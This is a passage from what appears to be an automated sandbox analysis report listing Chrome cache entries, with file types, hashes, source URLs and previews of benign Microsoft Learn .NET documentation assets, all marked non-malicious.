Preview:	{"brandLink":{"biName":"learn","displayName":"Learn","href":"/"},"featuredContent":[{"biName":"1-microsoft-learn-for-organizations","description":"Access curated resources to upskill your team and close skills gaps.","href":"/training/organizations/","supertitle":"Microsoft Learn for Organizations","title":"Boost your team\u0027s technical skills"}],"metadata":{"git_commit_id":"dab49ca79cb372010aeaec5e99463f6cec8df000"},"navCategories":[{"biName":"1-discover","panel":{"panelContent":[{"biName":"1-documentation","componentType":"header-panel-card","description":"In-depth articles on Microsoft developer tools and technologies","href":"/docs/","title":"Documentation"},{"biName":"2-training","componentType":"header-panel-card","description":"Personalized learning paths and courses","href":"/training/","title":"Training"},{"biName":"3-credentials","componentType":"header-panel-card","description":"Globally recognized, industry-endorsed credentials","href":"/credentials/","title":"Credential

Chrome Cache Entry: 108

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows icon resource - 6 icons, -128x-128, 16 colors, 72x72, 16 colors
Category:	dropped
Size (bytes):	17174
Entropy (8bit):	2.9129715116732746
Encrypted:	false
SSDEEP:	24:QSNTmTFxg4lyyyyyyyyyyyyyio7eeeeeeeeekzgsLsLsLsLsLsQZp:nfgyyyyyyyyyyyyynzQQQQQO
MD5:	12E3DAC858061D088023B2BD48E2FA96
SHA1:	E08CE1A144ECEAE0C3C2EA7A9D6FBC5658F24CE5
SHA-256:	90CDAF487716184E4034000935C605D1633926D348116D198F355A98B8C6CD21
SHA-512:	C5030C55A855E7A9E20E22F4C70BF1E0F3C558A9B7D501CFAB6992AC2656AE5E41B050CCAC541EFA55F9603E0D349B247EB4912EE169D44044271789C719CD01
Malicious:	false
Preview:	..............h(..f...HH...........(..00......h....6.. ...........=...............@..........(....A..(....................(....................................."P.........................................."""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333""""""""""""""""""""""""""

Chrome Cache Entry: 109

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 658 x 480, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	13842
Entropy (8bit):	7.802399161550213
Encrypted:	false
SSDEEP:	192:NLNf+jBQsDHg7av3EEondO8PuRu2mIYXEIiDm42NpsHFMHfgnJ4K2DVwv:NLt+1jDmY+ndXwjLUpiDwpzfwoDVk
MD5:	F6EC97C43480D41695065AD55A97B382
SHA1:	D9C3D0895A5ED1A3951B8774B519B8217F0A54C5
SHA-256:	07A599FAB1E66BABC430E5FED3029F25FF3F4EA2DD0EC8968FFBA71EF1872F68
SHA-512:	22462763178409D60609761A2AF734F97B35B9A818EC1FD9046AFAB489AAD83CE34896EE8586EFE402EA7739ECF088BC2DB5C1C8E4FB39E6A0FC5B3ADC6B4A9B
Malicious:	false
URL:	https://learn.microsoft.com/en-us/dotnet/framework/install/media/application-not-started/install-3-5.png
Preview:	.PNG........IHDR................1....sRGB.........gAMA......a.....pHYs..........o.d..5.IDATx^..[.,.]...../<.!.B(/y..).F\r...!(.H..a ..B.~..A..KXA.M...6..8...!1....l./.X.1....2.`.y"l..R...V.....{...}._gWW.Z.VUw.N...U..P@..... ..@.A...".$..E.I.........$..("H..PD..... ..p....U.}.{.....l..A.....A........s.......D.0...@....E..x........L. /.".A.....$...Y."...%.I..["../.&.I..[`.0..IA.........p4.I.........$..("H..PD..... ..@.A...".$..E.I.........$..("H..PD..... ..@.A...".$..E.>H...O.................?.~.......].7.....a?....(H....m.G..G..a.P..?yo......f?...o. .B.....mo{[....:9<].....7.....a.....S..Cd.5,.R....#....>......._g.....Wo\|.....z.g.........w.T...]x.>.....y(.........6....[..px...U....~.~hu...}H.......~.L... ....r...iY.$..Id..Ax"../....._..U....OTo\|.Mh.km..A.k..k....n.C`\|._\=...o...a.e.. ...&.A2..k.. ....X.+...C..P....y..>.{._..(H....8(.?...w.}M.........:s_!.m.........BY..T..z.5{.W.~..6.....F....bq....m.....?.......v....o..o...ki...iX.$......\]V...V...

Chrome Cache Entry: 110

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (33148), with no line terminators
Category:	dropped
Size (bytes):	33148
Entropy (8bit):	4.917595394577667
Encrypted:	false
SSDEEP:	384:FnvJOb4OLIch+KCnMet7NPXlJl+HjZjBTRdE0zIwHdZ4vNNpUjV8din4E9hLUuro:5hOEO8chkMet7pCjBfcHkWOzUuro
MD5:	C4DE3932AA578FA03847604F09660315
SHA1:	5EFBA9D7F437AF4786560559FBF162C4475AAD4F
SHA-256:	7683C2566CBF3C67F1A645891CC7B4DE7D143FE40E0271E106AB55E90EF9C5A8
SHA-512:	3DCA7F8C7C2997D473B2B80916F3E976167BA06300E915CB301DB2A024A826B9E8D3A60B6111835A5FB9A3273B4080D89351F664F9CC410C18B7F76327C326AE
Malicious:	false
Preview:	{"items":[{"href":"./","toc_title":".NET Framework documentation"},{"href":"get-started/overview","toc_title":"Overview of .NET Framework"},{"children":[{"href":"get-started/","toc_title":"Overview"},{"href":"get-started/out-of-band-releases","toc_title":"Out-of-band releases"},{"href":"get-started/system-requirements","toc_title":"System requirements"}],"toc_title":"Get started"},{"children":[{"href":"install/","toc_title":"Overview"},{"href":"install/guide-for-developers","toc_title":"For developers"},{"children":[{"href":"install/on-windows-11","toc_title":"Windows 11"},{"href":"install/on-windows-10","toc_title":"Windows 10 and Windows Server 2016"},{"href":"install/on-windows-8-1","toc_title":"Windows 8.1 and Windows Server 2012 R2"},{"href":"install/on-windows-8","toc_title":"Windows 8 and Windows Server 2012"},{"href":"install/on-server-2022","toc_title":"Windows Server 2022"},{"href":"install/on-server-2019","toc_title":"Windows Server 2019"}],"toc_title":"By OS version"},{"hre

Chrome Cache Entry: 111

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	downloaded
Size (bytes):	5644
Entropy (8bit):	4.785769732002188
Encrypted:	false
SSDEEP:	96:ogVOjPW7cI3aDNjExAjfWQpL0dpwmWMv7AD8RevyvRJNjyZPtJ27RlhiewZjMeZf:og5cUaDNjESLWQN0dpwm9+6DlUu7lYjX
MD5:	B5885C991E30238110973653F2408300
SHA1:	39B0A79D951F8254E21821134E047C76F57AD2A8
SHA-256:	085BF5AE32E6F7F1299CA79248B0CB67EBD31566728A69F4466E1659C004732E
SHA-512:	6BEC209D933C7A1065047637F550B7A36809D835938C04851A3B09DF644BD3EC85A2CE30F73FCFB709FE7AF3453799B2EB76702D0AB2BE067CD07D2EC03537C0
Malicious:	false
URL:	https://learn.microsoft.com/en-us/content-nav/site-header/site-header.json?
Preview:	{"brandLink":{"biName":"learn","displayName":"Learn","href":"/"},"featuredContent":[{"biName":"1-microsoft-learn-for-organizations","description":"Access curated resources to upskill your team and close skills gaps.","href":"/training/organizations/","supertitle":"Microsoft Learn for Organizations","title":"Boost your team\u0027s technical skills"}],"metadata":{"git_commit_id":"dab49ca79cb372010aeaec5e99463f6cec8df000"},"navCategories":[{"biName":"1-discover","panel":{"panelContent":[{"biName":"1-documentation","componentType":"header-panel-card","description":"In-depth articles on Microsoft developer tools and technologies","href":"/docs/","title":"Documentation"},{"biName":"2-training","componentType":"header-panel-card","description":"Personalized learning paths and courses","href":"/training/","title":"Training"},{"biName":"3-credentials","componentType":"header-panel-card","description":"Globally recognized, industry-endorsed credentials","href":"/credentials/","title":"Credential

Chrome Cache Entry: 112

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 475 x 212, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	35005
Entropy (8bit):	7.980061050467981
Encrypted:	false
SSDEEP:	768:aHBEr/QXnbCgWotMq4AZZivq2/Qu0cEv1FjHBep6U0Z/68R:ahWqbTWiM7ACvdIdldhep4rR
MD5:	522037F008E03C9448AE0AAAF09E93CB
SHA1:	8A32997EAB79246BEED5A37DB0C92FBFB006BEF2
SHA-256:	983C35607C4FB0B529CA732BE42115D3FCAAC947CEE9C9632F7CACDBDECAF5A7
SHA-512:	643EC613B2E7BDBB2F61E1799C189B0E3392EA5AE10845EB0B1F1542A03569E886F4B54D5B38AF10E78DB49C71357108C94589474B181F6A4573B86CF2D6F0D8
Malicious:	false
URL:	https://learn.microsoft.com/en-us/dotnet/framework/install/media/application-not-started/app-could-not-be-started.png
Preview:	.PNG........IHDR..............[.U....sRGB.........gAMA......a.....pHYs..........+.....RIDATx^..`........B hpwww(PJ....R.B.....K[j....@ H ..r:...].P._.`...K.ffg.v.ygf.TM.4.m...`.D".H$......"##..2e.X.t..Y".H$...d..PK.V".H$..uVm.,.H$.....b+.H$.I-#.V".H$.ZF..D".H$...[.D".Hj.)...D"..2Rl%..D".e..J$..DR.H..H$.....b+.H$..9..Neee.X,.B.\/.....o.b+.H$..9...q...EHU....p.....=z....b.7.q..........N.. ....cUAX.9...m'_...2.`.g{...4.H.9.p.4...K ^.....`.\|.n..]..m..`W..W.H.~..\|.^.a..K.6......_....K..w....9......^.....&...R....[...w..Ix=.:..^/..Epp0.5.....QRR...l....S.b.5.c.6...5..8.\....z...I......&.>....../.{.=...]'c......[.E`@Cg......Z.....c.f..,.y\|,.{.o@.j..2..:.&l4.{.]Ll.N.0..b:b...g.n.........I...Ewc....[..,i`v......F...il\|.c,{.-.....%BP.U........y.x....6..E2..n.W...J .*..`..r....F....#BCC......\|.L&........O...'........\.....;...q.n$...7...ga..x....)..A...0.{1..'1../...+yRC...W.-..b..c0dDG...U[po....2eG.G.../.@........h.:.k?.......Q...

Chrome Cache Entry: 113

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	downloaded
Size (bytes):	4897
Entropy (8bit):	4.8007377074457604
Encrypted:	false
SSDEEP:	96:A0AIvEQ+KfZcbhaW9dp45qtAdflfDOFnymoLByzfwqrLvJ4QG63JkRJ+dRp8TJHr:dgQ+KfZcbhaWjp45qtAdflfDOFnNgByQ
MD5:	0E78F790402498FA57E649052DA01218
SHA1:	9ED4D0846DA5D66D44EE831920B141BBF60A0200
SHA-256:	73F3061A46EA8FD11D674FB21FEEEFE3753FC3A3ED77224E7F66A964C0420603
SHA-512:	B46E4B90E53C7DABC7208A6FDAE53F25BD70FCFBBEF03FFC64B1B5D1EB1C01C870A7309DF167246FCCD114B483038A64D7C46CA3B9FCB3779A77E42DB6967051
Malicious:	false
URL:	https://learn.microsoft.com/en-us/content-nav/MSDocsHeader-DotNet.json?
Preview:	{"callToAction":{"primary":{"biName":"download-dotnet","href":"https://dotnet.microsoft.com/download","kind":"link","title":"Download .NET"}},"category":{"biName":"dotnet","href":"/dotnet/","kind":"link","title":".NET"},"items":[{"biName":"1-languages","items":[{"biName":"1-c-sharp","href":"/dotnet/csharp/","kind":"link","title":"C#"},{"biName":"2-f-sharp","href":"/dotnet/fsharp/","kind":"link","title":"F#"},{"biName":"3-visual-basic","href":"/dotnet/visual-basic/","kind":"link","title":"Visual Basic"}],"kind":"menu","title":"Languages"},{"biName":"2-features","items":[{"biName":"1-fundamental","href":"/dotnet/fundamentals/","kind":"link","title":"Fundamentals"},{"biName":"2-tools-and-diagnostics","href":"/dotnet/navigate/tools-diagnostics/","kind":"link","title":"Tools and diagnostics"},{"biName":"3-ai","items":[{"biName":"1-generative-ai","href":"/dotnet/ai/","kind":"link","title":"Generative AI"},{"biName":"2-mlnet","href":"/dotnet/machine-learning/","kind":"link","title":"ML.NET"}]

Chrome Cache Entry: 114

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	exported SGML document, ASCII text, with very long lines (65536), with no line terminators
Category:	dropped
Size (bytes):	1173007
Entropy (8bit):	5.503893944397598
Encrypted:	false
SSDEEP:	24576:VMga+4IVzOjS1Jho1WXQFjTEr39/jHXzT:VMcVzOjS1Jho1WXQar39/bXzT
MD5:	2E00D51C98DBB338E81054F240E1DEB2
SHA1:	D33BAC6B041064AE4330DCC2D958EBE4C28EBE58
SHA-256:	300480069078B5892D2363A2B65E2DFBBF30FE5C80F83EDBFECF4610FD093862
SHA-512:	B6268D980CE9CB729C82DBA22F04FD592952B2A1AAB43079CA5330C68A86E72B0D232CE4070DB893A5054EE5C68325C92C9F1A33F868D61EBB35129E74FC7EF9
Malicious:	false
Preview:	(function(){"use strict";var __webpack_modules__={351:function(t,e,r){var n,o=this&&this.__extends\|\|(n=function(t,e){return n=Object.setPrototypeOf\|\|{__proto__:[]}instanceof Array&&function(t,e){t.__proto__=e}\|\|function(t,e){for(var r in e)Object.prototype.hasOwnProperty.call(e,r)&&(t[r]=e[r])},n(t,e)},function(t,e){if("function"!=typeof e&&null!==e)throw new TypeError("Class extends value "+String(e)+" is not a constructor or null");function r(){this.constructor=t}n(t,e),t.prototype=null===e?Object.create(e):(r.prototype=e.prototype,new r)}),i=this&&this.__assign\|\|function(){return i=Object.assign\|\|function(t){for(var e,r=1,n=arguments.length;r<n;r++)for(var o in e=arguments[r])Object.prototype.hasOwnProperty.call(e,o)&&(t[o]=e[o]);return t},i.apply(this,arguments)},s=this&&this.__read\|\|function(t,e){var r="function"==typeof Symbol&&t[Symbol.iterator];if(!r)return t;var n,o,i=r.call(t),s=[];try{for(;(void 0===e\|\|e-- >0)&&!(n=i.next()).done;)s.push(n.value)}catch(t){o={error:t}}finally

Chrome Cache Entry: 115

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (46884)
Category:	dropped
Size (bytes):	1817143
Entropy (8bit):	5.501007973622959
Encrypted:	false
SSDEEP:	24576:aLX8PHFluFxBSB1DkCXWjfz8gEPPXL/tie:auHFluFxBSB1DkCXWjfz7EPPXztH
MD5:	F57E274AE8E8889C7516D3E53E3EB026
SHA1:	F8D21465C0C19051474BE6A4A681FA0B0D3FCC0C
SHA-256:	2A2198DDBDAEDD1E968C0A1A45F800765AAE703675E419E46F6E51E3E9729D01
SHA-512:	9A9B42F70E09D821B799B92CB6AC981236FCF190F0A467CA7F7D382E3BCA1BC1D71673D37CD7426499D24DFBC0B7A6D10676C0E3FB2B0292249A5ABAB78F23F4
Malicious:	false
Preview:	"use strict";(()=>{var hve=Object.create;var _T=Object.defineProperty;var E2=Object.getOwnPropertyDescriptor;var bve=Object.getOwnPropertyNames;var _ve=Object.getPrototypeOf,vve=Object.prototype.hasOwnProperty;var yve=(e,t,o)=>t in e?_T(e,t,{enumerable:!0,configurable:!0,writable:!0,value:o}):e[t]=o;var Ie=(e,t)=>()=>(t\|\|e((t={exports:{}}).exports,t),t.exports);var xve=(e,t,o,n)=>{if(t&&typeof t=="object"\|\|typeof t=="function")for(let r of bve(t))!vve.call(e,r)&&r!==o&&_T(e,r,{get:()=>t[r],enumerable:!(n=E2(t,r))\|\|n.enumerable});return e};var Ya=(e,t,o)=>(o=e!=null?hve(_ve(e)):{},xve(t\|\|!e\|\|!e.__esModule?_T(o,"default",{value:e,enumerable:!0}):o,e));var U=(e,t,o,n)=>{for(var r=n>1?void 0:n?E2(t,o):t,s=e.length-1,i;s>=0;s--)(i=e[s])&&(r=(n?i(t,o,r):i(r))\|\|r);return n&&r&&_T(t,o,r),r};var ji=(e,t,o)=>(yve(e,typeof t!="symbol"?t+"":t,o),o),yR=(e,t,o)=>{if(!t.has(e))throw TypeError("Cannot "+o)};var wt=(e,t,o)=>(yR(e,t,"read from private field"),o?o.call(e):t.get(e)),Bo=(e,t,o)=>{if(t.has(

Chrome Cache Entry: 116

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1432
Entropy (8bit):	4.986131881931089
Encrypted:	false
SSDEEP:	24:TGAcSRrEV4YUmjiqIWD5bfD9yRSmkYR/stZLKvVqXRRlAfr6VXBAuU:Ti4IV4YUmjiqr9bfskAmZTXGfSXqh
MD5:	6B8763B76F400DC480450FD69072F215
SHA1:	6932907906AFCF8EAFA22154D8478106521BC9EE
SHA-256:	3FB84D357F0C9A66100570EDD62A04D0574C45E8A5209A3E6870FF22AF839DFC
SHA-512:	8A07EBB806A0BA8EF54B463BD6AF37C77A10C1FA38A57128FD90FCB2C16DF71CE697D4FE65C623E5C6054C5715975831C36861D5574F59DF28836D9BC2B0BC22
Malicious:	false
Preview:	// ES5 script for back compat with unsupported browsers..!(function () {..'use strict';..// Keep in sync with environment/browser.ts..var supportedBrowser =...typeof Blob === 'function' &&...typeof PerformanceObserver === 'function' &&...typeof Intl === 'object' &&...typeof MutationObserver === 'function' &&...typeof URLSearchParams === 'function' &&...typeof WebSocket === 'function' &&...typeof IntersectionObserver === 'function' &&...typeof queueMicrotask === 'function' &&...typeof TextEncoder === 'function' &&...typeof TextDecoder === 'function' &&...typeof customElements === 'object' &&...typeof HTMLDetailsElement === 'function' &&...typeof AbortController === 'function' &&...typeof AbortSignal === 'function' &&...'entries' in FormData.prototype &&...'toggleAttribute' in Element.prototype &&...'replaceChildren' in Element.prototype &&...// ES2019...'fromEntries' in Object &&...'flatMap' in Array.prototype &&...'trimEnd' in String.prototype &&...// ES2020...'allSettled' in Promise &

Chrome Cache Entry: 117

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	downloaded
Size (bytes):	1154
Entropy (8bit):	4.59126408969148
Encrypted:	false
SSDEEP:	24:txFRuJpzYeGK+VS6ckNL2091JP/UcHc8oQJ1sUWMLc/jH6GbKqjHJIOHA:JsfcU6ckNL2091Z/U/YsUDM+GhS
MD5:	37258A983459AE1C2E4F1E551665F388
SHA1:	603A4E9115E613CC827206CF792C62AEB606C941
SHA-256:	8E34F3807B4BF495D8954E7229681DA8D0DD101DD6DDC2AD7F90CD2983802B44
SHA-512:	184CB63EF510143B0AF013F506411C917D68BB63F2CFA47EA2A42688FD4F55F3B820AF94F87083C24F48AACEE6A692199E185FC5C5CFBED5D70790454EED7F5C
Malicious:	false
URL:	https://learn.microsoft.com/en-us/media/logos/logo_net.svg
Preview:	<svg width="456" height="456" viewBox="0 0 456 456" fill="none" xmlns="http://www.w3.org/2000/svg">..<rect width="456" height="456" fill="#512BD4"/>..<path d="M81.2738 291.333C78.0496 291.333 75.309 290.259 73.052 288.11C70.795 285.906 69.6665 283.289 69.6665 280.259C69.6665 277.173 70.795 274.529 73.052 272.325C75.309 270.121 78.0496 269.019 81.2738 269.019C84.5518 269.019 87.3193 270.121 89.5763 272.325C91.887 274.529 93.0424 277.173 93.0424 280.259C93.0424 283.289 91.887 285.906 89.5763 288.11C87.3193 290.259 84.5518 291.333 81.2738 291.333Z" fill="white"/>..<path d="M210.167 289.515H189.209L133.994 202.406C132.597 200.202 131.441 197.915 130.528 195.546H130.044C130.474 198.081 130.689 203.508 130.689 211.827V289.515H112.149V171H134.477L187.839 256.043C190.096 259.57 191.547 261.994 192.192 263.316H192.514C191.977 260.176 191.708 254.859 191.708 247.365V171H210.167V289.515Z" fill="white"/>..<path d="M300.449 289.515H235.561V171H297.87V187.695H254.746V221.249H294.485V237.861H254.746V

Chrome Cache Entry: 118

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Web Open Font Format (Version 2), TrueType, length 19696, version 1.0
Category:	downloaded
Size (bytes):	19696
Entropy (8bit):	7.9898910353479335
Encrypted:	false
SSDEEP:	384:37wfQhsuDSP36Elj0oScS8w3F1ZTt5JwtRGsh1SJR3YL0BeojRs8E:37Cms69owH3FPutReFYL+eods8E
MD5:	4D0BFEA9EBDA0657CEE433600ED087B6
SHA1:	F13C690B170D5BA6BE45DEDC576776CA79718D98
SHA-256:	67E7D8E61B9984289B6F3F476BBEB6CEB955BEC823243263CF1EE57D7DB7AE9A
SHA-512:	9136ADEC32F1D29A72A486B4604309AA8F9611663FA1E8D49079B67260B2B09CEFDC3852CF5C08CA9F5D8EA718A16DBD8D8120AC3164B0D1519D8EF8A19E4EA5
Malicious:	false
URL:	https://learn.microsoft.com/static/assets/0.4.028726178/styles/docons.a1ef6ef.34a85e0c.woff2
Preview:	wOF2......L........`..L..........................T.V..@........6.$........ ..y.......d^..Awp(......<.1..fE.......I......z-.."YTZ.p.eMd.#..7.qY..Z.!..V...!......r...Z.;b........J....X..;.^...>UQ%U..CkT.....zKG.!\8%..>.b.4o4.t..........3..C..?u....E.S$.:.....mfZ......... .Q...].y..@....m.tC.C6. ......37..,V...F.a...A.. .PQ".A...B...p...q..!QA.N..m.......(..........gv..L...5M&._..+@.U..k.....CU..@...._.9q{....B..C.dB.F.a......J_Jo..M..oR....m......r...U0...y!.@-.h7...z....e.....J+...-{.s..1...^...zM[~....Fy.';.V...=.%......"..H..w.9L..$.{d.j&..... K...P`.$.g....;.0..........T.v....j.0Ht..<. ...<\......Ol.\|_U.+rmW..JK..".e<C ...q.?...B..l..Ni.....H....D..n@.......=c.f3.7........t...Z...}{....S;..KU.Ho.`....._?m....y...32l^.(..r..........Z...{U....W(......\|.q..P.`,.YQ....-,c...g*F..=....."M.......sq....-....w(.e.K........^2e.3&.\|,..4.TO..D].........W..W%j.._...nS.X.gE..3;2..:...Y..4j.-....c0A...U...p......d.M..6.L..b....O:[['wN.\|49.......]

Chrome Cache Entry: 119

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (33148), with no line terminators
Category:	downloaded
Size (bytes):	33148
Entropy (8bit):	4.917595394577667
Encrypted:	false
SSDEEP:	384:FnvJOb4OLIch+KCnMet7NPXlJl+HjZjBTRdE0zIwHdZ4vNNpUjV8din4E9hLUuro:5hOEO8chkMet7pCjBfcHkWOzUuro
MD5:	C4DE3932AA578FA03847604F09660315
SHA1:	5EFBA9D7F437AF4786560559FBF162C4475AAD4F
SHA-256:	7683C2566CBF3C67F1A645891CC7B4DE7D143FE40E0271E106AB55E90EF9C5A8
SHA-512:	3DCA7F8C7C2997D473B2B80916F3E976167BA06300E915CB301DB2A024A826B9E8D3A60B6111835A5FB9A3273B4080D89351F664F9CC410C18B7F76327C326AE
Malicious:	false
URL:	https://learn.microsoft.com/en-us/dotnet/framework/toc.json
Preview:	{"items":[{"href":"./","toc_title":".NET Framework documentation"},{"href":"get-started/overview","toc_title":"Overview of .NET Framework"},{"children":[{"href":"get-started/","toc_title":"Overview"},{"href":"get-started/out-of-band-releases","toc_title":"Out-of-band releases"},{"href":"get-started/system-requirements","toc_title":"System requirements"}],"toc_title":"Get started"},{"children":[{"href":"install/","toc_title":"Overview"},{"href":"install/guide-for-developers","toc_title":"For developers"},{"children":[{"href":"install/on-windows-11","toc_title":"Windows 11"},{"href":"install/on-windows-10","toc_title":"Windows 10 and Windows Server 2016"},{"href":"install/on-windows-8-1","toc_title":"Windows 8.1 and Windows Server 2012 R2"},{"href":"install/on-windows-8","toc_title":"Windows 8 and Windows Server 2012"},{"href":"install/on-server-2022","toc_title":"Windows Server 2022"},{"href":"install/on-server-2019","toc_title":"Windows Server 2019"}],"toc_title":"By OS version"},{"hre

Chrome Cache Entry: 120

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 475 x 212, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	35005
Entropy (8bit):	7.980061050467981
Encrypted:	false
SSDEEP:	768:aHBEr/QXnbCgWotMq4AZZivq2/Qu0cEv1FjHBep6U0Z/68R:ahWqbTWiM7ACvdIdldhep4rR
MD5:	522037F008E03C9448AE0AAAF09E93CB
SHA1:	8A32997EAB79246BEED5A37DB0C92FBFB006BEF2
SHA-256:	983C35607C4FB0B529CA732BE42115D3FCAAC947CEE9C9632F7CACDBDECAF5A7
SHA-512:	643EC613B2E7BDBB2F61E1799C189B0E3392EA5AE10845EB0B1F1542A03569E886F4B54D5B38AF10E78DB49C71357108C94589474B181F6A4573B86CF2D6F0D8
Malicious:	false
Preview:	.PNG........IHDR..............[.U....sRGB.........gAMA......a.....pHYs..........+.....RIDATx^..`........B hpwww(PJ....R.B.....K[j....@ H ..r:...].P._.`...K.ffg.v.ygf.TM.4.m...`.D".H$......"##..2e.X.t..Y".H$...d..PK.V".H$..uVm.,.H$.....b+.H$.I-#.V".H$.ZF..D".H$...[.D".Hj.)...D"..2Rl%..D".e..J$..DR.H..H$.....b+.H$..9..Neee.X,.B.\/.....o.b+.H$..9...q...EHU....p.....=z....b.7.q..........N.. ....cUAX.9...m'_...2.`.g{...4.H.9.p.4...K ^.....`.\|.n..]..m..`W..W.H.~..\|.^.a..K.6......_....K..w....9......^.....&...R....[...w..Ix=.:..^/..Epp0.5.....QRR...l....S.b.5.c.6...5..8.\....z...I......&.>....../.{.=...]'c......[.E`@Cg......Z.....c.f..,.y\|,.{.o@.j..2..:.&l4.{.]Ll.N.0..b:b...g.n.........I...Ewc....[..,i`v......F...il\|.c,{.-.....%BP.U........y.x....6..E2..n.W...J .*..`..r....F....#BCC......\|.L&........O...'........\.....;...q.n$...7...ga..x....)..A...0.{1..'1../...+yRC...W.-..b..c0dDG...U[po....2eG.G.../.@........h.:.k?.......Q...

Chrome Cache Entry: 121

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 658 x 480, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	13842
Entropy (8bit):	7.802399161550213
Encrypted:	false
SSDEEP:	192:NLNf+jBQsDHg7av3EEondO8PuRu2mIYXEIiDm42NpsHFMHfgnJ4K2DVwv:NLt+1jDmY+ndXwjLUpiDwpzfwoDVk
MD5:	F6EC97C43480D41695065AD55A97B382
SHA1:	D9C3D0895A5ED1A3951B8774B519B8217F0A54C5
SHA-256:	07A599FAB1E66BABC430E5FED3029F25FF3F4EA2DD0EC8968FFBA71EF1872F68
SHA-512:	22462763178409D60609761A2AF734F97B35B9A818EC1FD9046AFAB489AAD83CE34896EE8586EFE402EA7739ECF088BC2DB5C1C8E4FB39E6A0FC5B3ADC6B4A9B
Malicious:	false
Preview:	.PNG........IHDR................1....sRGB.........gAMA......a.....pHYs..........o.d..5.IDATx^..[.,.]...../<.!.B(/y..).F\r...!(.H..a ..B.~..A..KXA.M...6..8...!1....l./.X.1....2.`.y"l..R...V.....{...}._gWW.Z.VUw.N...U..P@..... ..@.A...".$..E.I.........$..("H..PD..... ..p....U.}.{.....l..A.....A........s.......D.0...@....E..x........L. /.".A.....$...Y."...%.I..["../.&.I..[`.0..IA.........p4.I.........$..("H..PD..... ..@.A...".$..E.I.........$..("H..PD..... ..@.A...".$..E.>H...O.................?.~.......].7.....a?....(H....m.G..G..a.P..?yo......f?...o. .B.....mo{[....:9<].....7.....a.....S..Cd.5,.R....#....>......._g.....Wo\|.....z.g.........w.T...]x.>.....y(.........6....[..px...U....~.~hu...}H.......~.L... ....r...iY.$..Id..Ax"../....._..U....OTo\|.Mh.km..A.k..k....n.C`\|._\=...o...a.e.. ...&.A2..k.. ....X.+...C..P....y..>.{._..(H....8(.?...w.}M.........:s_!.m.........BY..T..z.5{.W.~..6.....F....bq....m.....?.......v....o..o...ki...iX.$......\]V...V...

Chrome Cache Entry: 122

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	4897
Entropy (8bit):	4.8007377074457604
Encrypted:	false
SSDEEP:	96:A0AIvEQ+KfZcbhaW9dp45qtAdflfDOFnymoLByzfwqrLvJ4QG63JkRJ+dRp8TJHr:dgQ+KfZcbhaWjp45qtAdflfDOFnNgByQ
MD5:	0E78F790402498FA57E649052DA01218
SHA1:	9ED4D0846DA5D66D44EE831920B141BBF60A0200
SHA-256:	73F3061A46EA8FD11D674FB21FEEEFE3753FC3A3ED77224E7F66A964C0420603
SHA-512:	B46E4B90E53C7DABC7208A6FDAE53F25BD70FCFBBEF03FFC64B1B5D1EB1C01C870A7309DF167246FCCD114B483038A64D7C46CA3B9FCB3779A77E42DB6967051
Malicious:	false
Preview:	{"callToAction":{"primary":{"biName":"download-dotnet","href":"https://dotnet.microsoft.com/download","kind":"link","title":"Download .NET"}},"category":{"biName":"dotnet","href":"/dotnet/","kind":"link","title":".NET"},"items":[{"biName":"1-languages","items":[{"biName":"1-c-sharp","href":"/dotnet/csharp/","kind":"link","title":"C#"},{"biName":"2-f-sharp","href":"/dotnet/fsharp/","kind":"link","title":"F#"},{"biName":"3-visual-basic","href":"/dotnet/visual-basic/","kind":"link","title":"Visual Basic"}],"kind":"menu","title":"Languages"},{"biName":"2-features","items":[{"biName":"1-fundamental","href":"/dotnet/fundamentals/","kind":"link","title":"Fundamentals"},{"biName":"2-tools-and-diagnostics","href":"/dotnet/navigate/tools-diagnostics/","kind":"link","title":"Tools and diagnostics"},{"biName":"3-ai","items":[{"biName":"1-generative-ai","href":"/dotnet/ai/","kind":"link","title":"Generative AI"},{"biName":"2-mlnet","href":"/dotnet/machine-learning/","kind":"link","title":"ML.NET"}]

Chrome Cache Entry: 123

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text, with very long lines (639), with CRLF, LF line terminators
Category:	downloaded
Size (bytes):	47062
Entropy (8bit):	5.016115705165622
Encrypted:	false
